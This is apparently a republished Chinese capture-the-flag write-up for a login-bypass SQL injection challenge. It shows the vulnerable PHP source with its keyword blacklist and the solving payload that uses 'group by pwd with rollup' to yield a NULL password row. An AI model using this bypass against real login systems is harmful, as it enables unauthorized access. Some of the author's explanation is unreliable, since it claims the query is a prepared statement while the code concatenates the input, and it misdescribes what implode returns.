zoukankan      html  css  js  c++  java
  • 实验吧因缺思汀的绕过注入解析

    题目地址:http://ctf5.shiyanbar.com/web/pcat/index.php

    我没记错应该是某道CTF比赛的题目

    直接上代码:

     1 <?php
     2 error_reporting(0);
     3 
     4 if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
     5     echo '<form action="" method="post">'."<br/>";
     6     echo '<input name="uname" type="text"/>'."<br/>";
     7     echo '<input name="pwd" type="text"/>'."<br/>";
     8     echo '<input type="submit" />'."<br/>";
     9     echo '</form>'."<br/>";
    10     echo '<!--source: source.txt-->'."<br/>";
    11     die;
    12 }
    13 
    14 function AttackFilter($StrKey,$StrValue,$ArrReq){  
    15     if (is_array($StrValue)){
    16         $StrValue=implode($StrValue);
    17     }
    18     if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
    19         print "水可载舟,亦可赛艇!";
    20         exit();
    21     }
    22 }
    23 
    24 $filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)";
    25 foreach($_POST as $key=>$value){ 
    26     AttackFilter($key,$value,$filter);
    27 }
    28 
    29 $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    30 if (!$con){
    31     die('Could not connect: ' . mysql_error());
    32 }
    33 $db="XXXXXX";
    34 mysql_select_db($db, $con);
    35 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    36 $query = mysql_query($sql); 
    37 if (mysql_num_rows($query) == 1) { 
    38     $key = mysql_fetch_array($query);
    39     if($key['pwd'] == $_POST['pwd']) {
    40         print "CTF{XXXXXX}";
    41     }else{
    42         print "亦可赛艇!";
    43     }
    44 }else{
    45     print "一颗赛艇!";
    46 }
    47 mysql_close($con);
    48 ?>

    14行定义了一个攻击过滤函数.首先判断了传入的是不是数组,倘若是数组那么就进行分割处理,implode是分割.分割以后的类型仍为数组(因为没有写以什么分割,所以是整体分割,也就是你传aaa结果还是aaa这里的 PS:作用搞不懂他)

    然后再是使用了正则过滤,而且是使用了预编译的{$_POST['pwd']} 可参考 :https://www.t00ls.net/viewthread.php?tid=46325

     所以注入是不可能的了.(个人觉得这个预编译可能部分人没注意看会认为是拼接的仍然有注入.所以在这个情况之下会一直话费时间在绕过注入)

    加了双引号可以看打是被转义的这就是{$_POST['uname']}的作用

    所以综上所述通过or之类的绕过没戏的.


    这时就要用到注入的一个小技巧,我们使用group by pwd with rollup 来在查询结果后加一行,并且这一行pwd字段的值为NULL

    在mysql官方文档中是这样描述rollup函数的:


    大概的意思就是在GROUP BY子句中使用WITH ROLLUP会在数据库中加入一行用来计算总数,ROLLUP子句的更加详细的用法,可以参考mysql的官方文档,此处就不多做赘述了。
    再结合limit和offset就可以写出一个payload
    即:输入的用户名为:' or 1=1 group by pwd with rollup limit 1 offset 2 #密码为空
    这里解释一下此时执行的SQL:
    SELECT * FROM interest where uname=' ' or 1=1 
    group by pwd with rollup  (在数据库中添加一行使得pwd=NULL)
    limit 1 (只查询一行)
    offset 2  (从第二行开始查询)
    #注释
    此时密码只要为空即可查询成功

  • 相关阅读:
    vivify.css动画效果
    Vue实现左侧可伸缩
    移动端web开发理想视口及normalize.css
    vue的transition标签配合animate.css与vivify.css使用的方式
    说说godaddy
    选择比努力更重要
    从开发讲起,组织松散化,社会向上
    什么上的人能成
    Azure和aws使用对比
    MSBuild
  • 原文地址:https://www.cnblogs.com/nul1/p/9178318.html
Copyright © 2011-2022 走看看